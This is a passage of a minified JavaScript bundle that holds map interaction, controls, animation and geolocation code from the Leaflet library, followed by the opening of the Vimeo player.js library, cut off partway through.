this._moved=!1,!n.shiftKey||1!==n.which&&1!==n.button?!1:(r.DomUtil.disableTextSelection(),r.DomUtil.disableImageDrag(),this._startLayerPoint=this._map.mouseEventToLayerPoint(n),void r.DomEvent.on(t,"mousemove",this._onMouseMove,this).on(t,"mouseup",this._onMouseUp,this).on(t,"keydown",this._onKeyDown,this))},_onMouseMove:function(n){this._moved||(this._box=r.DomUtil.create("div","leaflet-zoom-box",this._pane),r.DomUtil.setPosition(this._box,this._startLayerPoint),this._container.style.cursor="crosshair",this._map.fire("boxzoomstart"));var t=this._startLayerPoint,i=this._box,u=this._map.mouseEventToLayerPoint(n),f=u.subtract(t),e=new r.Point(Math.min(u.x,t.x),Math.min(u.y,t.y));r.DomUtil.setPosition(i,e);this._moved=!0;i.style.width=Math.max(0,Math.abs(f.x)-4)+"px";i.style.height=Math.max(0,Math.abs(f.y)-4)+"px"},_finish:function(){this._moved&&(this._pane.removeChild(this._box),this._container.style.cursor="");r.DomUtil.enableTextSelection();r.DomUtil.enableImageDrag();r.DomEvent.off(t,"mousemove",this._onMouseMove).off(t,"mouseup",this._onMouseUp).off(t,"keydown",this._onKeyDown)},_onMouseUp:function(n){var t,i,u;this._finish();t=this._map;i=t.mouseEventToLayerPoint(n);this._startLayerPoint.equals(i)||(u=new r.LatLngBounds(t.layerPointToLatLng(this._startLayerPoint),t.layerPointToLatLng(i)),t.fitBounds(u),t.fire("boxzoomend",{boxZoomBounds:u}))},_onKeyDown:function(n){27===n.keyCode&&this._finish()}});r.Map.addInitHook("addHandler","boxZoom",r.Map.BoxZoom);r.Map.mergeOptions({keyboard:!0,keyboardPanOffset:80,keyboardZoomOffset:1});r.Map.Keyboard=r.Handler.extend({keyCodes:{left:[37],right:[39],down:[40],up:[38],zoomIn:[187,107,61,171],zoomOut:[189,109,173]},initialize:function(n){this._map=n;this._setPanOffset(n.options.keyboardPanOffset);this._setZoomOffset(n.options.keyboardZoomOffset)},addHooks:function(){var n=this._map._container;-1===n.tabIndex&&(n.tabIndex="0");r.DomEvent.on(n,"focus",this._onFocus,this).on(n,"blur",this._onBlur,this).on(n,"mousedown",this._onMouseDown,this);this._map.on("focus",this._addHooks,this).on("blur",this._removeHooks,this)},removeHooks:function(){this._removeHooks();var n=this._map._container;r.DomEvent.off(n,"focus",this._onFocus,this).off(n,"blur",this._onBlur,this).off(n,"mousedown",this._onMouseDown,this);this._map.off("focus",this._addHooks,this).off("blur",this._removeHooks,this)},_onMouseDown:function(){if(!this._focused){var i=t.body,r=t.documentElement,u=i.scrollTop||r.scrollTop,f=i.scrollLeft||r.scrollLeft;this._map._container.focus();n.scrollTo(f,u)}},_onFocus:function(){this._focused=!0;this._map.fire("focus")},_onBlur:function(){this._focused=!1;this._map.fire("blur")},_setPanOffset:function(n){for(var u=this._panKeys={},r=this.keyCodes,t=0,i=r.left.length;i>t;t++)u[r.left[t]]=[-1*n,0];for(t=0,i=r.right.length;i>t;t++)u[r.right[t]]=[n,0];for(t=0,i=r.down.length;i>t;t++)u[r.down[t]]=[0,n];for(t=0,i=r.up.length;i>t;t++)u[r.up[t]]=[0,-1*n]},_setZoomOffset:function(n){for(var u=this._zoomKeys={},r=this.keyCodes,t=0,i=r.zoomIn.length;i>t;t++)u[r.zoomIn[t]]=n;for(t=0,i=r.zoomOut.length;i>t;t++)u[r.zoomOut[t]]=-n},_addHooks:function(){r.DomEvent.on(t,"keydown",this._onKeyDown,this)},_removeHooks:function(){r.DomEvent.off(t,"keydown",this._onKeyDown,this)},_onKeyDown:function(n){var i=n.keyCode,t=this._map;if(i in this._panKeys){if(t._panAnim&&t._panAnim._inProgress)return;t.panBy(this._panKeys[i]);t.options.maxBounds&&t.panInsideBounds(t.options.maxBounds)}else{if(!(i in this._zoomKeys))return;t.setZoom(t.getZoom()+this._zoomKeys[i])}r.DomEvent.stop(n)}});r.Map.addInitHook("addHandler","keyboard",r.Map.Keyboard);r.Handler.MarkerDrag=r.Handler.extend({initialize:function(n){this._marker=n},addHooks:function(){var n=this._marker._icon;this._draggable||(this._draggable=new r.Draggable(n,n));this._draggable.on("dragstart",this._onDragStart,this).on("drag",this._onDrag,this).on("dragend",this._onDragEnd,this);this._draggable.enable();r.DomUtil.addClass(this._marker._icon,"leaflet-marker-draggable")},removeHooks:function(){this._draggable.off("dragstart",this._onDragStart,this).off("drag",this._onDrag,this).off("dragend",this._onDragEnd,this);this._draggable.disable();r.DomUtil.removeClass(this._marker._icon,"leaflet-marker-draggable")},moved:function(){return this._draggable&&this._draggable._moved},_onDragStart:function(){this._marker.closePopup().fire("movestart").fire("dragstart")},_onDrag:function(){var n=this._marker,t=n._shadow,i=r.DomUtil.getPosition(n._icon),u=n._map.layerPointToLatLng(i);t&&r.DomUtil.setPosition(t,i);n._latlng=u;n.fire("move",{latlng:u}).fire("drag")},_onDragEnd:function(n){this._marker.fire("moveend").fire("dragend",n)}});r.Control=r.Class.extend({options:{position:"topright"},initialize:function(n){r.setOptions(this,n)},getPosition:function(){return this.options.position},setPosition:function(n){var t=this._map;return t&&t.removeControl(this),this.options.position=n,t&&t.addControl(this),this},getContainer:function(){return this._container},addTo:function(n){this._map=n;var t=this._container=this.onAdd(n),u=this.getPosition(),i=n._controlCorners[u];return r.DomUtil.addClass(t,"leaflet-control"),-1!==u.indexOf("bottom")?i.insertBefore(t,i.firstChild):i.appendChild(t),this},removeFrom:function(n){var t=this.getPosition(),i=n._controlCorners[t];return i.removeChild(this._container),this._map=null,this.onRemove&&this.onRemove(n),this},_refocusOnMap:function(){this._map&&this._map.getContainer().focus()}});r.control=function(n){return new r.Control(n)};r.Map.include({addControl:function(n){return n.addTo(this),this},removeControl:function(n){return n.removeFrom(this),this},_initControlPos:function(){function n(n,f){var e=t+n+" "+t+f;i[n+f]=r.DomUtil.create("div",e,u)}var i=this._controlCorners={},t="leaflet-",u=this._controlContainer=r.DomUtil.create("div",t+"control-container",this._container);n("top","left");n("top","right");n("bottom","left");n("bottom","right")},_clearControlPos:function(){this._container.removeChild(this._controlContainer)}});r.Control.Zoom=r.Control.extend({options:{position:"topleft",zoomInText:"+",zoomInTitle:"Zoom in",zoomOutText:"-",zoomOutTitle:"Zoom out"},onAdd:function(n){var t="leaflet-control-zoom",i=r.DomUtil.create("div",t+" leaflet-bar");return this._map=n,this._zoomInButton=this._createButton(this.options.zoomInText,this.options.zoomInTitle,t+"-in",i,this._zoomIn,this),this._zoomOutButton=this._createButton(this.options.zoomOutText,this.options.zoomOutTitle,t+"-out",i,this._zoomOut,this),this._updateDisabled(),n.on("zoomend zoomlevelschange",this._updateDisabled,this),i},onRemove:function(n){n.off("zoomend zoomlevelschange",this._updateDisabled,this)},_zoomIn:function(n){this._map.zoomIn(n.shiftKey?3:1)},_zoomOut:function(n){this._map.zoomOut(n.shiftKey?3:1)},_createButton:function(n,t,i,u,f,e){var o=r.DomUtil.create("a",i,u),s;return o.innerHTML=n,o.href="#",o.title=t,s=r.DomEvent.stopPropagation,r.DomEvent.on(o,"click",s).on(o,"mousedown",s).on(o,"dblclick",s).on(o,"click",r.DomEvent.preventDefault).on(o,"click",f,e).on(o,"click",this._refocusOnMap,e),o},_updateDisabled:function(){var n=this._map,t="leaflet-disabled";r.DomUtil.removeClass(this._zoomInButton,t);r.DomUtil.removeClass(this._zoomOutButton,t);n._zoom===n.getMinZoom()&&r.DomUtil.addClass(this._zoomOutButton,t);n._zoom===n.getMaxZoom()&&r.DomUtil.addClass(this._zoomInButton,t)}});r.Map.mergeOptions({zoomControl:!0});r.Map.addInitHook(function(){this.options.zoomControl&&(this.zoomControl=new r.Control.Zoom,this.addControl(this.zoomControl))});r.control.zoom=function(n){return new r.Control.Zoom(n)};r.Control.Attribution=r.Control.extend({options:{position:"bottomright",prefix:'<a href="http://leafletjs.com" title="A JS library for interactive maps">Leaflet<\/a>'},initialize:function(n){r.setOptions(this,n);this._attributions={}},onAdd:function(n){this._container=r.DomUtil.create("div","leaflet-control-attribution");r.DomEvent.disableClickPropagation(this._container);for(var t in n._layers)n._layers[t].getAttribution&&this.addAttribution(n._layers[t].getAttribution());return n.on("layeradd",this._onLayerAdd,this).on("layerremove",this._onLayerRemove,this),this._update(),this._container},onRemove:function(n){n.off("layeradd",this._onLayerAdd).off("layerremove",this._onLayerRemove)},setPrefix:function(n){return this.options.prefix=n,this._update(),this},addAttribution:function(n){if(n)return(this._attributions[n]||(this._attributions[n]=0),this._attributions[n]++,this._update(),this)},removeAttribution:function(n){if(n)return(this._attributions[n]&&(this._attributions[n]--,this._update()),this)},_update:function(){var n,i,t;if(this._map){n=[];for(i in this._attributions)this._attributions[i]&&n.push(i);t=[];this.options.prefix&&t.push(this.options.prefix);n.length&&t.push(n.join(", "));this._container.innerHTML=t.join(" | ")}},_onLayerAdd:function(n){n.layer.getAttribution&&this.addAttribution(n.layer.getAttribution())},_onLayerRemove:function(n){n.layer.getAttribution&&this.removeAttribution(n.layer.getAttribution())}});r.Map.mergeOptions({attributionControl:!0});r.Map.addInitHook(function(){this.options.attributionControl&&(this.attributionControl=(new r.Control.Attribution).addTo(this))});r.control.attribution=function(n){return new r.Control.Attribution(n)};r.Control.Scale=r.Control.extend({options:{position:"bottomleft",maxWidth:100,metric:!0,imperial:!0,updateWhenIdle:!1},onAdd:function(n){this._map=n;var t="leaflet-control-scale",i=r.DomUtil.create("div",t),u=this.options;return this._addScales(u,t,i),n.on(u.updateWhenIdle?"moveend":"move",this._update,this),n.whenReady(this._update,this),i},onRemove:function(n){n.off(this.options.updateWhenIdle?"moveend":"move",this._update,this)},_addScales:function(n,t,i){n.metric&&(this._mScale=r.DomUtil.create("div",t+"-line",i));n.imperial&&(this._iScale=r.DomUtil.create("div",t+"-line",i))},_update:function(){var n=this._map.getBounds(),u=n.getCenter().lat,f=6378137*Math.PI*Math.cos(u*Math.PI/180),e=f*(n.getNorthEast().lng-n.getSouthWest().lng)/180,t=this._map.getSize(),i=this.options,r=0;t.x>0&&(r=e*(i.maxWidth/t.x));this._updateScales(i,r)},_updateScales:function(n,t){n.metric&&t&&this._updateMetric(t);n.imperial&&t&&this._updateImperial(t)},_updateMetric:function(n){var t=this._getRoundNum(n);this._mScale.style.width=this._getScaleWidth(t/n)+"px";this._mScale.innerHTML=1e3>t?t+" m":t/1e3+" km"},_updateImperial:function(n){var r,u,f,t=3.2808399*n,i=this._iScale;t>5280?(r=t/5280,u=this._getRoundNum(r),i.style.width=this._getScaleWidth(u/r)+"px",i.innerHTML=u+" mi"):(f=this._getRoundNum(t),i.style.width=this._getScaleWidth(f/t)+"px",i.innerHTML=f+" ft")},_getScaleWidth:function(n){return Math.round(this.options.maxWidth*n)-10},_getRoundNum:function(n){var i=Math.pow(10,(Math.floor(n)+"").length-1),t=n/i;return t=t>=10?10:t>=5?5:t>=3?3:t>=2?2:1,i*t}});r.control.scale=function(n){return new r.Control.Scale(n)};r.Control.Layers=r.Control.extend({options:{collapsed:!0,position:"topright",autoZIndex:!0},initialize:function(n,t,i){r.setOptions(this,i);this._layers={};this._lastZIndex=0;this._handlingClick=!1;for(var u in n)this._addLayer(n[u],u);for(u in t)this._addLayer(t[u],u,!0)},onAdd:function(n){return this._initLayout(),this._update(),n.on("layeradd",this._onLayerChange,this).on("layerremove",this._onLayerChange,this),this._container},onRemove:function(n){n.off("layeradd",this._onLayerChange,this).off("layerremove",this._onLayerChange,this)},addBaseLayer:function(n,t){return this._addLayer(n,t),this._update(),this},addOverlay:function(n,t){return this._addLayer(n,t,!0),this._update(),this},removeLayer:function(n){var t=r.stamp(n);return delete this._layers[t],this._update(),this},_initLayout:function(){var t="leaflet-control-layers",n=this._container=r.DomUtil.create("div",t),i,u;n.setAttribute("aria-haspopup",!0);r.Browser.touch?r.DomEvent.on(n,"click",r.DomEvent.stopPropagation):r.DomEvent.disableClickPropagation(n).disableScrollPropagation(n);i=this._form=r.DomUtil.create("form",t+"-list");this.options.collapsed?(r.Browser.android||r.DomEvent.on(n,"mouseover",this._expand,this).on(n,"mouseout",this._collapse,this),u=this._layersLink=r.DomUtil.create("a",t+"-toggle",n),u.href="#",u.title="Layers",r.Browser.touch?r.DomEvent.on(u,"click",r.DomEvent.stop).on(u,"click",this._expand,this):r.DomEvent.on(u,"focus",this._expand,this),r.DomEvent.on(i,"click",function(){setTimeout(r.bind(this._onInputClick,this),0)},this),this._map.on("click",this._collapse,this)):this._expand();this._baseLayersList=r.DomUtil.create("div",t+"-base",i);this._separator=r.DomUtil.create("div",t+"-separator",i);this._overlaysList=r.DomUtil.create("div",t+"-overlays",i);n.appendChild(i)},_addLayer:function(n,t,i){var u=r.stamp(n);this._layers[u]={layer:n,name:t,overlay:i};this.options.autoZIndex&&n.setZIndex&&(this._lastZIndex++,n.setZIndex(this._lastZIndex))},_update:function(){if(this._container){this._baseLayersList.innerHTML="";this._overlaysList.innerHTML="";var r,n,t=!1,i=!1;for(r in this._layers)n=this._layers[r],this._addItem(n),i=i||n.overlay,t=t||!n.overlay;this._separator.style.display=i&&t?"":"none"}},_onLayerChange:function(n){var t=this._layers[r.stamp(n.layer)],i;t&&(this._handlingClick||this._update(),i=t.overlay?"layeradd"===n.type?"overlayadd":"overlayremove":"layeradd"===n.type?"baselayerchange":null,i&&this._map.fire(i,t))},_createRadioElement:function(n,i){var r='<input type="radio" class="leaflet-control-layers-selector" name="'+n+'"',u;return i&&(r+=' checked="checked"'),r+="/>",u=t.createElement("div"),u.innerHTML=r,u.firstChild},_addItem:function(n){var i,u=t.createElement("label"),e=this._map.hasLayer(n.layer),f,o;return n.overlay?(i=t.createElement("input"),i.type="checkbox",i.className="leaflet-control-layers-selector",i.defaultChecked=e):i=this._createRadioElement("leaflet-base-layers",e),i.layerId=r.stamp(n.layer),r.DomEvent.on(i,"click",this._onInputClick,this),f=t.createElement("span"),f.innerHTML=" "+n.name,u.appendChild(i),u.appendChild(f),o=n.overlay?this._overlaysList:this._baseLayersList,o.appendChild(u),u},_onInputClick:function(){var t,i,n,r=this._form.getElementsByTagName("input"),u=r.length;for(this._handlingClick=!0,t=0;u>t;t++)i=r[t],n=this._layers[i.layerId],i.checked&&!this._map.hasLayer(n.layer)?this._map.addLayer(n.layer):!i.checked&&this._map.hasLayer(n.layer)&&this._map.removeLayer(n.layer);this._handlingClick=!1;this._refocusOnMap()},_expand:function(){r.DomUtil.addClass(this._container,"leaflet-control-layers-expanded")},_collapse:function(){this._container.className=this._container.className.replace(" leaflet-control-layers-expanded","")}});r.control.layers=function(n,t,i){return new r.Control.Layers(n,t,i)};r.PosAnimation=r.Class.extend({includes:r.Mixin.Events,run:function(n,t,i,u){this.stop();this._el=n;this._inProgress=!0;this._newPos=t;this.fire("start");n.style[r.DomUtil.TRANSITION]="all "+(i||.25)+"s cubic-bezier(0,0,"+(u||.5)+",1)";r.DomEvent.on(n,r.DomUtil.TRANSITION_END,this._onTransitionEnd,this);r.DomUtil.setPosition(n,t);r.Util.falseFn(n.offsetWidth);this._stepTimer=setInterval(r.bind(this._onStep,this),50)},stop:function(){this._inProgress&&(r.DomUtil.setPosition(this._el,this._getPos()),this._onTransitionEnd(),r.Util.falseFn(this._el.offsetWidth))},_onStep:function(){var n=this._getPos();return n?(this._el._leaflet_pos=n,void this.fire("step")):void this._onTransitionEnd()},_transformRe:/([-+]?(?:\d*\.)?\d+)\D*, ([-+]?(?:\d*\.)?\d+)\D*\)/,_getPos:function(){var i,u,t,e=this._el,f=n.getComputedStyle(e);if(r.Browser.any3d){if(t=f[r.DomUtil.TRANSFORM].match(this._transformRe),!t)return;i=parseFloat(t[1]);u=parseFloat(t[2])}else i=parseFloat(f.left),u=parseFloat(f.top);return new r.Point(i,u,!0)},_onTransitionEnd:function(){r.DomEvent.off(this._el,r.DomUtil.TRANSITION_END,this._onTransitionEnd,this);this._inProgress&&(this._inProgress=!1,this._el.style[r.DomUtil.TRANSITION]="",this._el._leaflet_pos=this._newPos,clearInterval(this._stepTimer),this.fire("step").fire("end"))}});r.Map.include({setView:function(n,t,u){if(t=t===i?this._zoom:this._limitZoom(t),n=this._limitCenter(r.latLng(n),t,this.options.maxBounds),u=u||{},this._panAnim&&this._panAnim.stop(),this._loaded&&!u.reset&&u!==!0){u.animate!==i&&(u.zoom=r.extend({animate:u.animate},u.zoom),u.pan=r.extend({animate:u.animate},u.pan));var f=this._zoom!==t?this._tryAnimatedZoom&&this._tryAnimatedZoom(n,t,u.zoom):this._tryAnimatedPan(n,u.pan);if(f)return clearTimeout(this._sizeTimer),this}return this._resetView(n,t),this},panBy:function(n,t){if(n=r.point(n).round(),t=t||{},!n.x&&!n.y)return this;if(this._panAnim||(this._panAnim=new r.PosAnimation,this._panAnim.on({step:this._onPanTransitionStep,end:this._onPanTransitionEnd},this)),t.noMoveStart||this.fire("movestart"),t.animate!==!1){r.DomUtil.addClass(this._mapPane,"leaflet-pan-anim");var i=this._getMapPanePos().subtract(n);this._panAnim.run(this._mapPane,i,t.duration||.25,t.easeLinearity)}else this._rawPanBy(n),this.fire("move").fire("moveend");return this},_onPanTransitionStep:function(){this.fire("move")},_onPanTransitionEnd:function(){r.DomUtil.removeClass(this._mapPane,"leaflet-pan-anim");this.fire("moveend")},_tryAnimatedPan:function(n,t){var i=this._getCenterOffset(n)._floor();return(t&&t.animate)===!0||this.getSize().contains(i)?(this.panBy(i,t),!0):!1}});r.PosAnimation=r.DomUtil.TRANSITION?r.PosAnimation:r.PosAnimation.extend({run:function(n,t,i,u){this.stop();this._el=n;this._inProgress=!0;this._duration=i||.25;this._easeOutPower=1/Math.max(u||.5,.2);this._startPos=r.DomUtil.getPosition(n);this._offset=t.subtract(this._startPos);this._startTime=+new Date;this.fire("start");this._animate()},stop:function(){this._inProgress&&(this._step(),this._complete())},_animate:function(){this._animId=r.Util.requestAnimFrame(this._animate,this);this._step()},_step:function(){var n=+new Date-this._startTime,t=1e3*this._duration;t>n?this._runFrame(this._easeOut(n/t)):(this._runFrame(1),this._complete())},_runFrame:function(n){var t=this._startPos.add(this._offset.multiplyBy(n));r.DomUtil.setPosition(this._el,t);this.fire("step")},_complete:function(){r.Util.cancelAnimFrame(this._animId);this._inProgress=!1;this.fire("end")},_easeOut:function(n){return 1-Math.pow(1-n,this._easeOutPower)}});r.Map.mergeOptions({zoomAnimation:!0,zoomAnimationThreshold:4});r.DomUtil.TRANSITION&&r.Map.addInitHook(function(){this._zoomAnimated=this.options.zoomAnimation&&r.DomUtil.TRANSITION&&r.Browser.any3d&&!r.Browser.android23&&!r.Browser.mobileOpera;this._zoomAnimated&&r.DomEvent.on(this._mapPane,r.DomUtil.TRANSITION_END,this._catchTransitionEnd,this)});r.Map.include(r.DomUtil.TRANSITION?{_catchTransitionEnd:function(n){this._animatingZoom&&n.propertyName.indexOf("transform")>=0&&this._onZoomTransitionEnd()},_nothingToAnimate:function(){return!this._container.getElementsByClassName("leaflet-zoom-animated").length},_tryAnimatedZoom:function(n,t,i){if(this._animatingZoom)return!0;if(i=i||{},!this._zoomAnimated||i.animate===!1||this._nothingToAnimate()||Math.abs(t-this._zoom)>this.options.zoomAnimationThreshold)return!1;var r=this.getZoomScale(t),u=this._getCenterOffset(n)._divideBy(1-1/r),f=this._getCenterLayerPoint()._add(u);return i.animate===!0||this.getSize().contains(u)?(this.fire("movestart").fire("zoomstart"),this._animateZoom(n,t,f,r,null,!0),!0):!1},_animateZoom:function(n,t,i,u,f,e,o){o||(this._animatingZoom=!0);r.DomUtil.addClass(this._mapPane,"leaflet-zoom-anim");this._animateToCenter=n;this._animateToZoom=t;r.Draggable&&(r.Draggable._disabled=!0);r.Util.requestAnimFrame(function(){this.fire("zoomanim",{center:n,zoom:t,origin:i,scale:u,delta:f,backwards:e});setTimeout(r.bind(this._onZoomTransitionEnd,this),250)},this)},_onZoomTransitionEnd:function(){this._animatingZoom&&(this._animatingZoom=!1,r.DomUtil.removeClass(this._mapPane,"leaflet-zoom-anim"),r.Util.requestAnimFrame(function(){this._resetView(this._animateToCenter,this._animateToZoom,!0,!0);r.Draggable&&(r.Draggable._disabled=!1)},this))}}:{});r.TileLayer.include({_animateZoom:function(n){this._animating||(this._animating=!0,this._prepareBgBuffer());var t=this._bgBuffer,i=r.DomUtil.TRANSFORM,u=n.delta?r.DomUtil.getTranslateString(n.delta):t.style[i],f=r.DomUtil.getScaleString(n.scale,n.origin);t.style[i]=n.backwards?f+" "+u:u+" "+f},_endZoomAnim:function(){var n=this._tileContainer,i=this._bgBuffer,t;n.style.visibility="";n.parentNode.appendChild(n);r.Util.falseFn(i.offsetWidth);t=this._map.getZoom();(t>this.options.maxZoom||t<this.options.minZoom)&&this._clearBgBuffer();this._animating=!1},_clearBgBuffer:function(){var n=this._map;!n||n._animatingZoom||n.touchZoom._zooming||(this._bgBuffer.innerHTML="",this._bgBuffer.style[r.DomUtil.TRANSFORM]="")},_prepareBgBuffer:function(){var t=this._tileContainer,n=this._bgBuffer,i=this._getLoadedTilesPercentage(n),u=this._getLoadedTilesPercentage(t);return n&&i>.5&&.5>u?(t.style.visibility="hidden",void this._stopLoadingImages(t)):(n.style.visibility="hidden",n.style[r.DomUtil.TRANSFORM]="",this._tileContainer=n,n=this._bgBuffer=t,this._stopLoadingImages(n),void clearTimeout(this._clearBgBufferTimer))},_getLoadedTilesPercentage:function(n){for(var r=n.getElementsByTagName("img"),u=0,t=0,i=r.length;i>t;t++)r[t].complete&&u++;return u/i},_stopLoadingImages:function(n){for(var t,f=Array.prototype.slice.call(n.getElementsByTagName("img")),i=0,u=f.length;u>i;i++)t=f[i],t.complete||(t.onload=r.Util.falseFn,t.onerror=r.Util.falseFn,t.src=r.Util.emptyImageUrl,t.parentNode.removeChild(t))}});r.Map.include({_defaultLocateOptions:{watch:!1,setView:!1,maxZoom:1/0,timeout:1e4,maximumAge:0,enableHighAccuracy:!1},locate:function(n){if(n=this._locateOptions=r.extend(this._defaultLocateOptions,n),!navigator.geolocation)return this._handleGeolocationError({code:0,message:"Geolocation not supported."}),this;var t=r.bind(this._handleGeolocationResponse,this),i=r.bind(this._handleGeolocationError,this);return n.watch?this._locationWatchId=navigator.geolocation.watchPosition(t,i,n):navigator.geolocation.getCurrentPosition(t,i,n),this},stopLocate:function(){return navigator.geolocation&&navigator.geolocation.clearWatch(this._locationWatchId),this._locateOptions&&(this._locateOptions.setView=!1),this},_handleGeolocationError:function(n){var t=n.code,i=n.message||(1===t?"permission denied":2===t?"position unavailable":"timeout");this._locateOptions.setView&&!this._loaded&&this.fitWorld();this.fire("locationerror",{code:t,message:"Geolocation error: "+i+"."})},_handleGeolocationResponse:function(n){var t=n.coords.latitude,u=n.coords.longitude,o=new r.LatLng(t,u),f=180*n.coords.accuracy/40075017,s=f/Math.cos(r.LatLng.DEG_TO_RAD*t),h=r.latLngBounds([t-f,u-s],[t+f,u+s]),c=this._locateOptions,l,e,i;c.setView&&(l=Math.min(this.getBoundsZoom(h),c.maxZoom),this.setView(o,l));e={latlng:o,bounds:h,timestamp:n.timestamp};for(i in n.coords)"number"==typeof n.coords[i]&&(e[i]=n.coords[i]);this.fire("locationfound",e)}})}(window,document);
/*! @vimeo/player v2.8.2 | (c) 2019 Vimeo | MIT License | https://github.com/vimeo/player.js */
!function(n,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):((n=n||self).Vimeo=n.Vimeo||{},n.Vimeo.Player=t())}(this,function(){"use strict";function a(n,t){for(var i,r=0;r<t.length;r++)i=t[r],i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(n,i.key,i)}function y(n,t){return 0===n.indexOf(t.toLowerCase())?n:"".concat(t.toLowerCase()).concat(n.substr(0,1).toUpperCase()).concat(n.substr(1))}function r(n){return/^(https?:)?\/\/((player|www)\.)?vimeo\.com(?=$|\/)/.test(n)}function p(){var t,u=0<arguments.length&&void 0!==arguments[0]?arguments[0]:{},i=u.id,f=u.url,n=i||f;if(!n)throw new Error("An id or url must be passed, either in an options object or as a data-vimeo-id or data-vimeo-url attribute.");if(t=n,!isNaN(parseFloat(t))&&isFinite(t)&&Math.floor(t)==t)return"https://vimeo.com/".concat(n);if(r(n))return n.replace("http:","https:");if(i)throw new TypeError("“".concat(i,"” is not a valid video id."));throw new TypeError("“".concat(n,"” is not a vimeo.com url."));}function u(t,i,r){var u=n.get(t.element)||{};i in u||(u[i]=[]);u[i].push(r);n.set(t.element,u)}function f(t,i){return(n.get(t.element)||{})[i]||[]}function h(t,i,r){var u=n.get(t.element)||{},f;return u[i]?r?(f=u[i].indexOf(r),-1!==f&&u[i].splice(f,1),n.set(t.element,u),u[i]&&0===u[i].length):(u[i]=[],n.set(t.element,u),!0):!0}function b(n){var t=1<arguments.length&&void 0!==arguments[1]?arguments[1]:{};return w.reduce(function(t,i){var r=n.getAttribute("data-vimeo-".concat(i));return(r||""===r)&&(t[i]=""===r?1:r),t},t)}function c(n,t){var r=n.html,i;if(!t)throw new TypeError("An element must be provided");return null!==t.getAttribute("data-vimeo-initialized")?t.querySelector("iframe"):(i=document.createElement("div"),i.innerHTML=r,t.appendChild(i.firstChild),t.setAttribute("data-vimeo-initialized","true"),t.querySelector("iframe"))}function k(n){var t=1<arguments.length&&void 0!==arguments[1]?arguments[1]:{},i=2<arguments.length?arguments[2]:void 0;return new Promise(function(u,f){var s,o,e;if(!r(n))throw new TypeError("“".concat(n,"” is not a vimeo.com url."));s="https://vimeo.com/api/oembed.json?url=".concat(encodeURIComponent(n),"&domain=").concat(window.location.hostname);for(o in t)t.hasOwnProperty(o)&&(s+="&".concat(o,"=").concat(encodeURIComponent(t[o])));e="XDomainRequest"in window?new XDomainRequest:new XMLHttpRequest;e.open("GET",s,!0);e.onload=function(){if(404!==e.status)if(403!==e.status)try{var t=JSON.parse(e.responseText);if(403===t.domain_status_code)return c(t,i),void f(new Error("“".concat(n,"” is not embeddable.")));u(t)}catch(t){f(t)}else f(new Error("“".concat(n,"” is not embeddable.")));else f(new Error("“".concat(n,"” was not found.")))};e.onerror=function(){var n=e.status?" (".concat(e.status,")"):"";f(new Error("There was an error fetching the embed code from Vimeo".concat(n,".")))};e.send()})}function d(n){if("string"==typeof n)try{n=JSON.parse(n)}catch(n){return console.warn(n),{}}return n}function e(n,t,i){var r,u;n.element.contentWindow&&n.element.contentWindow.postMessage&&(r={method:t},void 0!==i&&(r.value=i),u=parseFloat(navigator.userAgent.toLowerCase().replace(/^.*msie (\d+).*$/,"$1")),8<=u&&u<10&&(r=JSON.stringify(r)),n.element.contentWindow.postMessage(r,n.origin))}function tt(n,t){var i,r=[],u;(t=d(t)).event?("error"===t.event&&f(n,t.data.method).forEach(function(i){var r=new Error(t.data.message);r.name=t.data.name;i.reject(r);h(n,t.data.method,i)}),r=f(n,"event:".concat(t.event)),i=t.data):t.method&&(u=function(n,t){var r=f(n,t),i;return r.length<1?!1:(i=r.shift(),h(n,t,i),i)}(n,t.method),u&&(r.push(u),i=t.value));r.forEach(function(t){try{if("function"==typeof t)return void t.call(n,i);t.resolve(i)}catch(t){}})}var v="undefined"!=typeof global&&"[object global]"==={}.toString.call(global),g=void 0!==Array.prototype.indexOf,nt="undefined"!=typeof window&&void 0!==window.postMessage,o,s,t,n,w;if(!(v||g&&nt))throw new Error("Sorry, the Vimeo Player API is not available in this browser.");o="undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:{};!function(n){function i(n){return Object(n)===n}if(!n.WeakMap){var r=Object.prototype.hasOwnProperty,t=function(n,t,i){Object.defineProperty?Object.defineProperty(n,t,{configurable:!0,writable:!0,value:i}):n[t]=i};n.WeakMap=function(){function n(){if(void 0===this)throw new TypeError("Constructor WeakMap requires 'new'");if(t(this,"_id","_WeakMap_"+f()+"."+f()),0<arguments.length)throw new TypeError("WeakMap iterable is not supported");}function u(n,t){if(!i(n)||!r.call(n,"_id"))throw new TypeError(t+" method called on incompatible receiver "+typeof n);}function f(){return Math.random().toString().substring(2)}return t(n.prototype,"delete",function(n){if(u(this,"delete"),!i(n))return!1;var t=n[this._id];return!(!t||t[0]!==n)&&(delete n[this._id],!0)}),t(n.prototype,"get",function(n){if(u(this,"get"),i(n)){var t=n[this._id];return t&&t[0]===n?t[1]:void 0}}),t(n.prototype,"has",function(n){if(u(this,"has"),!i(n))return!1;var t=n[this._id];return!(!t||t[0]!==n)}),t(n.prototype,"set",function(n,r){if(u(this,"set"),!i(n))throw new TypeError("Invalid value used as weak map key");var f=n[this._id];return f&&f[0]===n?f[1]=r:t(n,this._id,[n,r]),this}),t(n,"_polyfill",!0),n}()}}("undefined"!=typeof self?self:"undefined"!=typeof window?window:o);t=(function(n){var t,i,r;r=function(){function r(n,t){f.add(n,t);u||(u=a(f.drain))}function s(n){var t,i=typeof n;return null==n||"object"!=i&&"function"!=i||(t=n.then),"function"==typeof t&&t}function e(){for(var n=0;n<this.chain.length;n++)v(this,1===this.state?this.chain[n].success:this.chain[n].failure,this.chain[n]);this.chain.length=0}function v(n,t,i){var r,u;try{!1===t?i.reject(n.msg):(r=!0===t?n.msg:t.call(void 0,n.msg))===i.promise?i.reject(TypeError("Promise-chain cycle")):(u=s(r))?u.call(r,i.resolve,i.reject):i.resolve(r)}catch(n){i.reject(n)}}function i(n){var t=this;t.triggered||(t.triggered=!0,t.def&&(t=t.def),t.msg=n,t.state=2,0<t.chain.length&&r(e,t))}function h(n,t,i,r){for(var u=0;u<t.length;u++)!function(u){n.resolve(t[u]).then(function(n){i(u,n)},r)}(u)}function c(n){this.def=n;this.triggered=!1}function y(n){this.promise=n;this.state=0;this.triggered=!1;this.chain=[];this.msg=void 0}function t(n){if("function"!=typeof n)throw TypeError("Not a function");if(0!==this.__NPO__)throw TypeError("Not a 